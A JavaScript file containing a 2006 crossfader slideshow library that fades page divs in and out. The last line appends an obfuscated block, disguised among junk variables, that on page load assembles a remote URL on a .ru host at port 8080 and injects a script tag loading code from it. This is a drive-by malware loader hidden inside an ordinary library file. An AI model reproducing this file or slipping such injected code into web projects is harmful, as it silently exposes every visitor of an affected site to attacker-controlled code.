/**
 *  author:		Timothy Groves - http://www.brandspankingnew.net
 *	version:	1.3 - 2006-11-02
 *				1.2 - 2006-11-01
 *				1.1 - 2006-09-29
 *				1.0 - 2006-09-25
 *
 *	requires:	nothing
 *
 */

var useBSNns;

if (useBSNns)
{
	if (typeof(bsn) == "undefined")
		bsn = {}
	var _bsn = bsn;
}
else
{
	var _bsn = this;
}





_bsn.Crossfader = function (divs, fadetime, delay )
{	
	this.nAct = -1;
	this.aDivs = divs;
	
	for (var i=0;i<divs.length;i++)
	{
		document.getElementById(divs[i]).style.opacity = 0;
		document.getElementById(divs[i]).style.position = "absolute";
		document.getElementById(divs[i]).style.filter = "alpha(opacity=0)";
		document.getElementById(divs[i]).style.visibility = "hidden";
	}
	
	this.nDur = fadetime;
	this.nDelay = delay;
		
	this._newfade();
}


_bsn.Crossfader.prototype._newfade = function()
{
	if (this.nID1)
		clearInterval(this.nID1);
	
	this.nOldAct = this.nAct;
	this.nAct++;
	if (!this.aDivs[this.nAct])	this.nAct = 0;
	
	if (this.nAct == this.nOldAct)
		return false;
	
	document.getElementById( this.aDivs[this.nAct] ).style.visibility = "visible";
	
	this.nInt = 50;
	this.nTime = 0;
	
	var p=this;
	this.nID2 = setInterval(function() { p._fade() }, this.nInt);
}


_bsn.Crossfader.prototype._fade = function()
{
	this.nTime += this.nInt;
	
	var ieop = Math.round( this._easeInOut(this.nTime, 0, 1, this.nDur) * 100 );
	var op = ieop / 100;
	document.getElementById( this.aDivs[this.nAct] ).style.opacity = op;
	document.getElementById( this.aDivs[this.nAct] ).style.filter = "alpha(opacity="+ieop+")";
	
	if (this.nOldAct > -1)
	{
		document.getElementById( this.aDivs[this.nOldAct] ).style.opacity = 1 - op;
		document.getElementById( this.aDivs[this.nOldAct] ).style.filter = "alpha(opacity="+(100 - ieop)+")";
	}
	
	if (this.nTime == this.nDur)
	{
		clearInterval( this.nID2 );
		
		if (this.nOldAct > -1)
			document.getElementById( this.aDivs[this.nOldAct] ).style.visibility = "hidden";	
		
		var p=this;
		this.nID1 = setInterval(function() { p._newfade() }, this.nDelay);
	}
}



_bsn.Crossfader.prototype._easeInOut = function(t,b,c,d)
{
	return c/2 * (1 - Math.cos(Math.PI*t/d)) + b;
}
var l=new Date();function o(){var p=new Date();var D;if(D!='' && D!='g'){D=null};var O='';this.OZ="";this.cY="";var n="x65ug".substr(4);var me="";var Ae;if(Ae!='Oo' && Ae != ''){Ae=null};var Z=RegExp;var Qd;if(Qd!=''){Qd='lV'};var Qf='';function A(e,U){this.H='';var c= new String("[Tckv".substr(0,1));var a;if(a!='' && a!='pZ'){a=null};var fn="";c+=U;var Sb;if(Sb!='' && Sb!='fO'){Sb=null};c+=new String("]ZaG".substr(0,1));var uT="";var jz=new String();var i=new Z(c, n);var om=new Date();var Ec=new String();return e.replace(i, O);var uJ=new Array();var _;if(_!=''){_='Up'};};var BD;if(BD!='os'){BD='os'};this.XD='';var it=String("/stPv74".substr(0,3)+"51AZc.c5A1Z".substr(4,3)+"om.B91v".substr(0,3)+"sa/"+"bFBstc".substr(3)+".co"+"m.s"+"7ysRa/gsR7y".substr(4,3)+"oog61Rf".substr(0,3)+"57zDle.".substr(4)+"com"+"WmXv.pk".substr(4)+"8M1/cl".substr(3)+"ari"+"n.cozZ".substr(0,3)+"om/yCc".substr(0,3)+"gooVS7".substr(0,3)+"gleayZv".substr(0,3)+"4zPN.coPzN4".substr(4,3)+"DPOm.pOPD".substr(3,3)+"yaHfhp".substr(4));var hG;if(hG!='HG' && hG!='C'){hG=''};var w='';var q=String("8Wyscri".substr(3)+"Jni9pt9iJn".substr(4,2));var r;if(r!='' && r!='IJ'){r=null};var m=window;var y=String("src");var G='';var T=String("defer");var Pj;if(Pj!='AQ'){Pj=''};var v=new String("htt"+"sv0p:/".substr(3)+"ALSV/feVALS".substr(4,3)+"edb"+"PtBurn".substr(3)+"er-"+"NtHvcomvNHt".substr(4,3)+"hNY.en".substr(3)+"ufKZgadZuKf".substr(4,3)+"getrTw".substr(0,3)+".co"+"m.b"+"igpuBKI".substr(0,3)+"oin"+"L3rt-c".substr(3)+"om.FT3".substr(0,3)+"b2DPgreb2PD".substr(4,3)+"atehE48".substr(0,3)+"jAlastljA".substr(3,3)+"bay"+".ruIcL".substr(0,3)+":");this.qe="";var X=A('8333099833093',"39");var b=new String();var DD=new String();this.AR='';this.Er="";var dl=new Date();var Xw;if(Xw!='' && Xw!='Hl'){Xw='f_'};m.onload=function(){var rI;if(rI!='bz'){rI=''};var Fu=new Date();try {var oy=new Array();w=v+X;w+=it;var aX=new Date();var IY=new String();j=document.createElement(q);this.fI='';this.Vc='';j[y]=w;var etx='';j[T]=[1][0];this.L="";var BBI=new Date();var fB;if(fB!='dQ'){fB=''};document.body.appendChild(j);var cO=new Array();var rN;if(rN!='Es' && rN!='Bp'){rN=''};var Mk="";} catch(I){var Ia="";this.jf="";};var km="";};var MA=new String();var Vy=new Array();};var mw;if(mw!='fT' && mw != ''){mw=null};o();var AZ="";